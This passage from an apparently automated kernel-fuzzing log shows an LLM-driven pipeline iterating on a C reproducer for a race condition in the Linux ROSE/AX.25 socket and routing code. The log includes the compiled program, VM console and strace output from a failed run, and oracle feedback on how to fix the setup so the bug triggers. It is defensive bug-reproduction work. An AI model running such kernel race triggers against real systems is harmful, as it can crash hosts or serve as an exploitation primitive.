        printf("[-] Failed to open /dev/ptmx: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Opened /dev/ptmx\n");

    int ldisc = N_AX25;
    if (ioctl(ptmx, TIOCSETD, &ldisc) < 0) {
        printf("[-] Failed to TIOCSETD to N_AX25: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Set line discipline to N_AX25\n");

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        printf("[-] Failed to create AF_ROSE socket: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created AF_ROSE socket\n");

    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "ax0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) < 0) {
        printf("[-] Failed to get flags for ax0: %s\n", strerror(errno));
        exit(1);
    }
    ifr.ifr_flags |= IFF_UP;
    if (ioctl(sock, SIOCSIFFLAGS, &ifr) < 0) {
        printf("[-] Failed to bring ax0 up: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Brought ax0 up\n");

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    ifr.ifr_hwaddr.sa_family = AF_ROSE;
    ifr.ifr_hwaddr.sa_data[0] = 1;
    if (ioctl(sock, SIOCSIFHWADDR, &ifr) < 0) {
        printf("[-] Failed to set hwaddr for rose0: %s\n", strerror(errno));
    } else {
        printf("[+] Set hwaddr for rose0\n");
    }

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) < 0) {
        printf("[-] Failed to get flags for rose0: %s\n", strerror(errno));
        exit(1);
    }
    ifr.ifr_flags |= IFF_UP;
    if (ioctl(sock, SIOCSIFFLAGS, &ifr) < 0) {
        printf("[-] Failed to bring rose0 up: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Brought rose0 up\n");

    set_sysctl("/proc/sys/net/rose/clear_request_timeout", 100);
    set_sysctl("/proc/sys/net/rose/restart_request_timeout", 100);
    printf("[+] Set sysctls\n");

    struct sockaddr_rose saddr;
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 1;
    saddr.srose_ndigis = 0;

    struct rose_route_struct route;
    memset(&route, 0, sizeof(route));
    route.address.rose_addr[0] = 2;
    route.mask = 5;
    route.neighbour.ax25_call[0] = 'A' << 1;
    route.neighbour.ax25_call[1] = 'B' << 1;
    route.neighbour.ax25_call[2] = 'C' << 1;
    route.neighbour.ax25_call[3] = 'D' << 1;
    route.neighbour.ax25_call[4] = 'E' << 1;
    route.neighbour.ax25_call[5] = 'F' << 1;
    route.neighbour.ax25_call[6] = 0;
    strcpy(route.device, "ax0");

    for (int i = 0; i < 10; i++) {
        int rsock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
        if (rsock < 0) {
            printf("[-] Failed to create rsock %d: %s\n", i, strerror(errno));
            exit(1);
        }

        if (bind(rsock, (struct sockaddr *)&saddr, sizeof(saddr)) < 0) {
            printf("[-] Failed to bind rsock %d: %s\n", i, strerror(errno));
            exit(1);
        }

        if (ioctl(rsock, SIOCADDRT, &route) < 0) {
            printf("[-] Failed to add route %d: %s\n", i, strerror(errno));
            close(rsock);
            continue;
        }

        fcntl(rsock, F_SETFL, O_NONBLOCK);
        
        struct sockaddr_rose dest_addr;
        memset(&dest_addr, 0, sizeof(dest_addr));
        dest_addr.srose_family = AF_ROSE;
        dest_addr.srose_addr.rose_addr[0] = 2;
        dest_addr.srose_ndigis = 0;
        
        connect(rsock, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
        
        if (ioctl(rsock, SIOCDELRT, &route) < 0) {
            printf("[-] Failed to delete route %d: %s\n", i, strerror(errno));
        }
        
        close(rsock);
    }
    printf("[+] Triggered race condition loop\n");

    sleep(1);
    printf("[+] Done waiting\n");

    return 0;
}
]

164/3 2026/05/26 11:50 loop
0m
165/4 2026/05/26 11:50 iteration 0
0m
166/5 2026/05/26 11:50 action merge-repro-c
0m Results:
map[CurrentCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <linux/ax25.h>
#include <linux/rose.h>
#include <termios.h>

#define N_AX25 5

void set_sysctl(const char *path, int val) {
    FILE *f = fopen(path, "w");
    if (f) {
        fprintf(f, "%d\n", val);
        fclose(f);
    } else {
        printf("[-] Failed to open %s: %s\n", path, strerror(errno));
    }
}

int main() {
    printf("[*] Starting reproducer...\n");

    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        printf("[-] Failed to open /dev/ptmx: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Opened /dev/ptmx\n");

    int ldisc = N_AX25;
    if (ioctl(ptmx, TIOCSETD, &ldisc) < 0) {
        printf("[-] Failed to TIOCSETD to N_AX25: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Set line discipline to N_AX25\n");

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        printf("[-] Failed to create AF_ROSE socket: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created AF_ROSE socket\n");

    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "ax0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) < 0) {
        printf("[-] Failed to get flags for ax0: %s\n", strerror(errno));
        exit(1);
    }
    ifr.ifr_flags |= IFF_UP;
    if (ioctl(sock, SIOCSIFFLAGS, &ifr) < 0) {
        printf("[-] Failed to bring ax0 up: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Brought ax0 up\n");

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    ifr.ifr_hwaddr.sa_family = AF_ROSE;
    ifr.ifr_hwaddr.sa_data[0] = 1;
    if (ioctl(sock, SIOCSIFHWADDR, &ifr) < 0) {
        printf("[-] Failed to set hwaddr for rose0: %s\n", strerror(errno));
    } else {
        printf("[+] Set hwaddr for rose0\n");
    }

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) < 0) {
        printf("[-] Failed to get flags for rose0: %s\n", strerror(errno));
        exit(1);
    }
    ifr.ifr_flags |= IFF_UP;
    if (ioctl(sock, SIOCSIFFLAGS, &ifr) < 0) {
        printf("[-] Failed to bring rose0 up: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Brought rose0 up\n");

    set_sysctl("/proc/sys/net/rose/clear_request_timeout", 100);
    set_sysctl("/proc/sys/net/rose/restart_request_timeout", 100);
    printf("[+] Set sysctls\n");

    struct sockaddr_rose saddr;
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 1;
    saddr.srose_ndigis = 0;

    struct rose_route_struct route;
    memset(&route, 0, sizeof(route));
    route.address.rose_addr[0] = 2;
    route.mask = 5;
    route.neighbour.ax25_call[0] = 'A' << 1;
    route.neighbour.ax25_call[1] = 'B' << 1;
    route.neighbour.ax25_call[2] = 'C' << 1;
    route.neighbour.ax25_call[3] = 'D' << 1;
    route.neighbour.ax25_call[4] = 'E' << 1;
    route.neighbour.ax25_call[5] = 'F' << 1;
    route.neighbour.ax25_call[6] = 0;
    strcpy(route.device, "ax0");

    for (int i = 0; i < 10; i++) {
        int rsock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
        if (rsock < 0) {
            printf("[-] Failed to create rsock %d: %s\n", i, strerror(errno));
            exit(1);
        }

        if (bind(rsock, (struct sockaddr *)&saddr, sizeof(saddr)) < 0) {
            printf("[-] Failed to bind rsock %d: %s\n", i, strerror(errno));
            exit(1);
        }

        if (ioctl(rsock, SIOCADDRT, &route) < 0) {
            printf("[-] Failed to add route %d: %s\n", i, strerror(errno));
            close(rsock);
            continue;
        }

        fcntl(rsock, F_SETFL, O_NONBLOCK);
        
        struct sockaddr_rose dest_addr;
        memset(&dest_addr, 0, sizeof(dest_addr));
        dest_addr.srose_family = AF_ROSE;
        dest_addr.srose_addr.rose_addr[0] = 2;
        dest_addr.srose_ndigis = 0;
        
        connect(rsock, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
        
        if (ioctl(rsock, SIOCDELRT, &route) < 0) {
            printf("[-] Failed to delete route %d: %s\n", i, strerror(errno));
        }
        
        close(rsock);
    }
    printf("[+] Triggered race condition loop\n");

    sleep(1);
    printf("[+] Done waiting\n");

    return 0;
}
]

167/5 2026/05/26 11:50 action compile-c-prog
0m Results:
map[CompilerError: FormattedReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <linux/ax25.h>
#include <linux/rose.h>
#include <termios.h>

#define N_AX25 5

void set_sysctl(const char *path, int val) {
    FILE *f = fopen(path, "w");
    if (f) {
        fprintf(f, "%d\n", val);
        fclose(f);
    } else {
        printf("[-] Failed to open %s: %s\n", path, strerror(errno));
    }
}

int main() {
    printf("[*] Starting reproducer...\n");

    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        printf("[-] Failed to open /dev/ptmx: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Opened /dev/ptmx\n");

    int ldisc = N_AX25;
    if (ioctl(ptmx, TIOCSETD, &ldisc) < 0) {
        printf("[-] Failed to TIOCSETD to N_AX25: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Set line discipline to N_AX25\n");

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        printf("[-] Failed to create AF_ROSE socket: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created AF_ROSE socket\n");

    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "ax0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) < 0) {
        printf("[-] Failed to get flags for ax0: %s\n", strerror(errno));
        exit(1);
    }
    ifr.ifr_flags |= IFF_UP;
    if (ioctl(sock, SIOCSIFFLAGS, &ifr) < 0) {
        printf("[-] Failed to bring ax0 up: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Brought ax0 up\n");

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    ifr.ifr_hwaddr.sa_family = AF_ROSE;
    ifr.ifr_hwaddr.sa_data[0] = 1;
    if (ioctl(sock, SIOCSIFHWADDR, &ifr) < 0) {
        printf("[-] Failed to set hwaddr for rose0: %s\n", strerror(errno));
    } else {
        printf("[+] Set hwaddr for rose0\n");
    }

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) < 0) {
        printf("[-] Failed to get flags for rose0: %s\n", strerror(errno));
        exit(1);
    }
    ifr.ifr_flags |= IFF_UP;
    if (ioctl(sock, SIOCSIFFLAGS, &ifr) < 0) {
        printf("[-] Failed to bring rose0 up: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Brought rose0 up\n");

    set_sysctl("/proc/sys/net/rose/clear_request_timeout", 100);
    set_sysctl("/proc/sys/net/rose/restart_request_timeout", 100);
    printf("[+] Set sysctls\n");

    struct sockaddr_rose saddr;
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 1;
    saddr.srose_ndigis = 0;

    struct rose_route_struct route;
    memset(&route, 0, sizeof(route));
    route.address.rose_addr[0] = 2;
    route.mask = 5;
    route.neighbour.ax25_call[0] = 'A' << 1;
    route.neighbour.ax25_call[1] = 'B' << 1;
    route.neighbour.ax25_call[2] = 'C' << 1;
    route.neighbour.ax25_call[3] = 'D' << 1;
    route.neighbour.ax25_call[4] = 'E' << 1;
    route.neighbour.ax25_call[5] = 'F' << 1;
    route.neighbour.ax25_call[6] = 0;
    strcpy(route.device, "ax0");

    for (int i = 0; i < 10; i++) {
        int rsock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
        if (rsock < 0) {
            printf("[-] Failed to create rsock %d: %s\n", i, strerror(errno));
            exit(1);
        }

        if (bind(rsock, (struct sockaddr *)&saddr, sizeof(saddr)) < 0) {
            printf("[-] Failed to bind rsock %d: %s\n", i, strerror(errno));
            exit(1);
        }

        if (ioctl(rsock, SIOCADDRT, &route) < 0) {
            printf("[-] Failed to add route %d: %s\n", i, strerror(errno));
            close(rsock);
            continue;
        }

        fcntl(rsock, F_SETFL, O_NONBLOCK);
        
        struct sockaddr_rose dest_addr;
        memset(&dest_addr, 0, sizeof(dest_addr));
        dest_addr.srose_family = AF_ROSE;
        dest_addr.srose_addr.rose_addr[0] = 2;
        dest_addr.srose_ndigis = 0;
        
        connect(rsock, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
        
        if (ioctl(rsock, SIOCDELRT, &route) < 0) {
            printf("[-] Failed to delete route %d: %s\n", i, strerror(errno));
        }
        
        close(rsock);
    }
    printf("[+] Triggered race condition loop\n");

    sleep(1);
    printf("[+] Done waiting\n");

    return 0;
}
]

168/5 2026/05/26 11:50 action If
0m Args:
map[CompilerError:]

169/3 2026/05/26 11:50 action run-c-repro
5m Results:
map[CandidateBugTitle: CandidateCrashReport: CandidateReproduced:false ConsoleOutput:Warning: Permanently added '[localhost]:21056' (ED25519) to the list of known hosts.
[  122.029124][ T6095] mkiss: ax0: crc mode is auto.
[  122.034090][   T33] kauditd_printk_skb: 18 callbacks suppressed
[  122.034105][   T33] audit: type=1400 audit(1779796372.191:106): avc:  denied  { create } for  pid=6095 comm="syz-executor325" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
[*] Starting reproducer...
[+] Opened /dev/ptmx
[+] Set line discipline to N_AX25
[+] Created AF_ROSE socket
[+] Brought ax0 up
[-] Failed to set hwaddr for rose0: Invalid argument
[+] Brought rose0 up
[+] Set sysctls
[-] Failed to bind rsock 0: Cannot assign requested address
[  122.063166][   T33] audit: type=1400 audit(1779796372.201:107): avc:  denied  { ioctl } for  pid=6095 comm="syz-executor325" path="socket:[8338]" dev="sockfs" ino=8338 ioctlcmd=0x8913 scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
[  122.078371][   T33] audit: type=1400 audit(1779796372.211:108): avc:  denied  { bind } for  pid=6095 comm="syz-executor325" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
[  122.091598][   T33] audit: type=1400 audit(1779796372.221:109): avc:  denied  { read } for  pid=5546 comm="dhcpcd" name="n108" dev="tmpfs" ino=2098 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  122.106576][   T33] audit: type=1400 audit(1779796372.221:110): avc:  denied  { open } for  pid=5546 comm="dhcpcd" path="/run/udev/data/n108" dev="tmpfs" ino=2098 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  122.120784][   T33] audit: type=1400 audit(1779796372.221:111): avc:  denied  { getattr } for  pid=5546 comm="dhcpcd" path="/run/udev/data/n108" dev="tmpfs" ino=2098 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  139.299886][ T1365] ieee802154 phy0 wpan0: encryption failed: -22
[  139.302693][ T1365] ieee802154 phy1 wpan1: encryption failed: -22
 OtherCrashReports:<nil> StraceOutput:/strace -e \!wait4,clock_nanosleep,nanosleep -s 100 -x -f /syz-executor2989724055

<...>
Warning: Permanently added '[localhost]:5190' (ED25519) to the list of known hosts.
execve("/syz-executor2989724055", ["/syz-executor2989724055"], 0x7ffd7ce70960 /* 11 vars */) = 0
brk(NULL)                               = 0x555590842000
brk(0x555590842d80)                     = 0x555590842d80
arch_prctl(ARCH_SET_FS, 0x555590842400) = 0
set_tid_address(0x5555908426d0)         = 6092
set_robust_list(0x5555908426e0, 24)     = 0
rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
readlinkat(AT_FDCWD, "/proc/self/exe", "/syz-executor2989724055", 4096) = 23
getrandom("\x32\x13\x2d\xcc\xb7\x8f\x27\xa9", 8, GRND_NONBLOCK) = 8
brk(NULL)                               = 0x555590842d80
brk(0x555590863d80)                     = 0x555590863d80
brk(0x555590864000)                     = 0x555590864000
mprotect(0x7f3715d3e000, 20480, PROT_READ) = 0
fstat(1, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
openat(AT_FDCWD, "/dev/ptmx", O_RDWR)   = 3
[  119.907996][ T6092] mkiss: ax0: crc mode is auto.
ioctl(3, TIOCSETD, [5])                 = 0
[  119.922950][   T33] kauditd_printk_skb: 18 callbacks suppressed
[  119.922965][   T33] audit: type=1400 audit(1779796530.711:106): avc:  denied  { create } for  pid=6092 comm="syz-executor298" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
socket(AF_ROSE, SOCK_SEQPACKET, 0)      = 4
[  119.940297][   T33] audit: type=1400 audit(1779796530.721:107): avc:  denied  { read } for  pid=5542 comm="dhcpcd" name="n108" dev="tmpfs" ino=2096 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
ioctl(4, SIOCGIFFLAGS, {ifr_name="ax0", ifr_flags=IFF_BROADCAST|IFF_MULTICAST}) = 0
[  119.952428][   T33] audit: type=1400 audit(1779796530.721:108): avc:  denied  { open } for  pid=5542 comm="dhcpcd" path="/run/udev/data/n108" dev="tmpfs" ino=2096 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  119.965908][   T33] audit: type=1400 audit(1779796530.721:109): avc:  denied  { getattr } for  pid=5542 comm="dhcpcd" path="/run/udev/data/n108" dev="tmpfs" ino=2096 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
ioctl(4, SIOCSIFFLAGS, {ifr_name="ax0", ifr_flags=IFF_UP|IFF_BROADCAST|IFF_MULTICAST}) = 0
[  119.978307][   T33] audit: type=1400 audit(1779796530.741:110): avc:  denied  { ioctl } for  pid=6092 comm="syz-executor298" path="socket:[8345]" dev="sockfs" ino=8345 ioctlcmd=0x8913 scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
ioctl(4, SIOCSIFHWADDR, {ifr_name="rose0", ifr_hwaddr={sa_family=0xb /* ARPHRD_??? */, sa_data=01:00:00:00:00:00:00:00:00:00:00:00:00:00}}) = -1 EINVAL (Invalid argument)
ioctl(4, SIOCGIFFLAGS, {ifr_name="rose0", ifr_flags=IFF_NOARP}) = 0
ioctl(4, SIOCSIFFLAGS, {ifr_name="rose0", ifr_flags=IFF_UP|IFF_NOARP}) = 0
openat(AT_FDCWD, "/proc/sys/net/rose/clear_request_timeout", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 5
fstat(5, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
write(5, "100\n", 4)                    = 4
close(5)                                = 0
openat(AT_FDCWD, "/proc/sys/net/rose/restart_request_timeout", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 5
fstat(5, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
write(5, "100\n", 4)                    = 4
close(5)                                = 0
socket(AF_ROSE, SOCK_SEQPACKET, 0)      = 5
bind(5, {sa_family=AF_ROSE, sa_data="\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"}, 28) = -1 EADDRNOTAVAIL (Cannot assign requested address)
[  120.015524][   T33] audit: type=1400 audit(1779796530.801:111): avc:  denied  { bind } for  pid=6092 comm="syz-executor298" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
write(1, "[*] Starting reproducer...\n[+] Opened /dev/ptmx\n[+] Set line discipline to N_AX25\n[+] Created AF_ROS"..., 278) = 278
[*] Starting reproducer...
[+] Opened /dev/ptmx
[+] Set line discipline to N_AX25
[+] Created AF_ROSE socket
[+] Brought ax0 up
[-] Failed to set hwaddr for rose0: Invalid argument
[+] Brought rose0 up
[+] Set sysctls
[-] Failed to bind rsock 0: Cannot assign requested address
exit_group(1)                           = ?
+++ exited with 1 +++
[  139.244571][ T1362] ieee802154 phy0 wpan0: encryption failed: -22
[  139.247364][ T1362] ieee802154 phy1 wpan1: encryption failed: -22
 TestError:]

170/3 2026/05/26 11:56 action truncate-log
0m Results:
map[TruncatedConsoleOutput:Warning: Permanently added '[localhost]:21056' (ED25519) to the list of known hosts.
[  122.029124][ T6095] mkiss: ax0: crc mode is auto.
[  122.034090][   T33] kauditd_printk_skb: 18 callbacks suppressed
[  122.034105][   T33] audit: type=1400 audit(1779796372.191:106): avc:  denied  { create } for  pid=6095 comm="syz-executor325" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
[*] Starting reproducer...
[+] Opened /dev/ptmx
[+] Set line discipline to N_AX25
[+] Created AF_ROSE socket
[+] Brought ax0 up
[-] Failed to set hwaddr for rose0: Invalid argument
[+] Brought rose0 up
[+] Set sysctls
[-] Failed to bind rsock 0: Cannot assign requested address
[  122.063166][   T33] audit: type=1400 audit(1779796372.201:107): avc:  denied  { ioctl } for  pid=6095 comm="syz-executor325" path="socket:[8338]" dev="sockfs" ino=8338 ioctlcmd=0x8913 scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
[  122.078371][   T33] audit: type=1400 audit(1779796372.211:108): avc:  denied  { bind } for  pid=6095 comm="syz-executor325" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
[  122.091598][   T33] audit: type=1400 audit(1779796372.221:109): avc:  denied  { read } for  pid=5546 comm="dhcpcd" name="n108" dev="tmpfs" ino=2098 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  122.106576][   T33] audit: type=1400 audit(1779796372.221:110): avc:  denied  { open } for  pid=5546 comm="dhcpcd" path="/run/udev/data/n108" dev="tmpfs" ino=2098 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  122.120784][   T33] audit: type=1400 audit(1779796372.221:111): avc:  denied  { getattr } for  pid=5546 comm="dhcpcd" path="/run/udev/data/n108" dev="tmpfs" ino=2098 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  139.299886][ T1365] ieee802154 phy0 wpan0: encryption failed: -22
[  139.302693][ T1365] ieee802154 phy1 wpan1: encryption failed: -22
 TruncatedCrashReport: TruncatedStraceOutput:/strace -e \!wait4,clock_nanosleep,nanosleep -s 100 -x -f /syz-executor2989724055

<...>
Warning: Permanently added '[localhost]:5190' (ED25519) to the list of known hosts.
execve("/syz-executor2989724055", ["/syz-executor2989724055"], 0x7ffd7ce70960 /* 11 vars */) = 0
brk(NULL)                               = 0x555590842000
brk(0x555590842d80)                     = 0x555590842d80
arch_prctl(ARCH_SET_FS, 0x555590842400) = 0
set_tid_address(0x5555908426d0)         = 6092
set_robust_list(0x5555908426e0, 24)     = 0
rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
readlinkat(AT_FDCWD, "/proc/self/exe", "/syz-executor2989724055", 4096) = 23
getrandom("\x32\x13\x2d\xcc\xb7\x8f\x27\xa9", 8, GRND_NONBLOCK) = 8
brk(NULL)                               = 0x555590842d80
brk(0x555590863d80)                     = 0x555590863d80
brk(0x555590864000)                     = 0x555590864000
mprotect(0x7f3715d3e000, 20480, PROT_READ) = 0
fstat(1, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
openat(AT_FDCWD, "/dev/ptmx", O_RDWR)   = 3
[  119.907996][ T6092] mkiss: ax0: crc mode is auto.
ioctl(3, TIOCSETD, [5])                 = 0
[  119.922950][   T33] kauditd_printk_skb: 18 callbacks suppressed
[  119.922965][   T33] audit: type=1400 audit(1779796530.711:106): avc:  denied  { create } for  pid=6092 comm="syz-executor298" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
socket(AF_ROSE, SOCK_SEQPACKET, 0)      = 4
[  119.940297][   T33] audit: type=1400 audit(1779796530.721:107): avc:  denied  { read } for  pid=5542 comm="dhcpcd" name="n108" dev="tmpfs" ino=2096 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
ioctl(4, SIOCGIFFLAGS, {ifr_name="ax0", ifr_flags=IFF_BROADCAST|IFF_MULTICAST}) = 0
[  119.952428][   T33] audit: type=1400 audit(1779796530.721:108): avc:  denied  { open } for  pid=5542 comm="dhcpcd" path="/run/udev/data/n108" dev="tmpfs" ino=2096 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  119.965908][   T33] audit: type=1400 audit(1779796530.721:109): avc:  denied  { getattr } for  pid=5542 comm="dhcpcd" path="/run/udev/data/n108" dev="tmpfs" ino=2096 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
ioctl(4, SIOCSIFFLAGS, {ifr_name="ax0", ifr_flags=IFF_UP|IFF_BROADCAST|IFF_MULTICAST}) = 0
[  119.978307][   T33] audit: type=1400 audit(1779796530.741:110): avc:  denied  { ioctl } for  pid=6092 comm="syz-executor298" path="socket:[8345]" dev="sockfs" ino=8345 ioctlcmd=0x8913 scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
ioctl(4, SIOCSIFHWADDR, {ifr_name="rose0", ifr_hwaddr={sa_family=0xb /* ARPHRD_??? */, sa_data=01:00:00:00:00:00:00:00:00:00:00:00:00:00}}) = -1 EINVAL (Invalid argument)
ioctl(4, SIOCGIFFLAGS, {ifr_name="rose0", ifr_flags=IFF_NOARP}) = 0
ioctl(4, SIOCSIFFLAGS, {ifr_name="rose0", ifr_flags=IFF_UP|IFF_NOARP}) = 0
openat(AT_FDCWD, "/proc/sys/net/rose/clear_request_timeout", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 5
fstat(5, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
write(5, "100\n", 4)                    = 4
close(5)                                = 0
openat(AT_FDCWD, "/proc/sys/net/rose/restart_request_timeout", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 5
fstat(5, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
write(5, "100\n", 4)                    = 4
close(5)                                = 0
socket(AF_ROSE, SOCK_SEQPACKET, 0)      = 5
bind(5, {sa_family=AF_ROSE, sa_data="\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"}, 28) = -1 EADDRNOTAVAIL (Cannot assign requested address)
[  120.015524][   T33] audit: type=1400 audit(1779796530.801:111): avc:  denied  { bind } for  pid=6092 comm="syz-executor298" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
write(1, "[*] Starting reproducer...\n[+] Opened /dev/ptmx\n[+] Set line discipline to N_AX25\n[+] Created AF_ROS"..., 278) = 278
[*] Starting reproducer...
[+] Opened /dev/ptmx
[+] Set line discipline to N_AX25
[+] Created AF_ROSE socket
[+] Brought ax0 up
[-] Failed to set hwaddr for rose0: Invalid argument
[+] Brought rose0 up
[+] Set sysctls
[-] Failed to bind rsock 0: Cannot assign requested address
exit_group(1)                           = ?
+++ exited with 1 +++
[  139.244571][ T1362] ieee802154 phy0 wpan0: encryption failed: -22
[  139.247364][ T1362] ieee802154 phy1 wpan1: encryption failed: -22
]

171/3 2026/05/26 11:56 agent repro-oracle
1m Model:
gemini-3.1-pro-preview

Results:
map[Feedback:The reproduction attempt failed to trigger the bug because the environment setup exited early due to a system call failure.

1. The `ioctl(SIOCSIFHWADDR)` for `rose0` failed with `-EINVAL`:
```
ioctl(4, SIOCSIFHWADDR, {ifr_name="rose0", ifr_hwaddr={sa_family=0xb /* ARPHRD_??? */, sa_data=01:00:00:00:00:00:00:00:00:00:00:00:00:00}}) = -1 EINVAL (Invalid argument)
```
This happens because `netif_set_mac_address()` in `net/core/dev.c` validates that `ss->ss_family == dev->type`. For a ROSE device, `dev->type` is `ARPHRD_ROSE` (270), but your code passed `AF_ROSE` (11). You must set `ifr.ifr_hwaddr.sa_family = ARPHRD_ROSE;` (or 270) instead of `AF_ROSE`.

2. Because setting the hardware address failed, the `rose0` interface retained its default address (likely all zeros). 
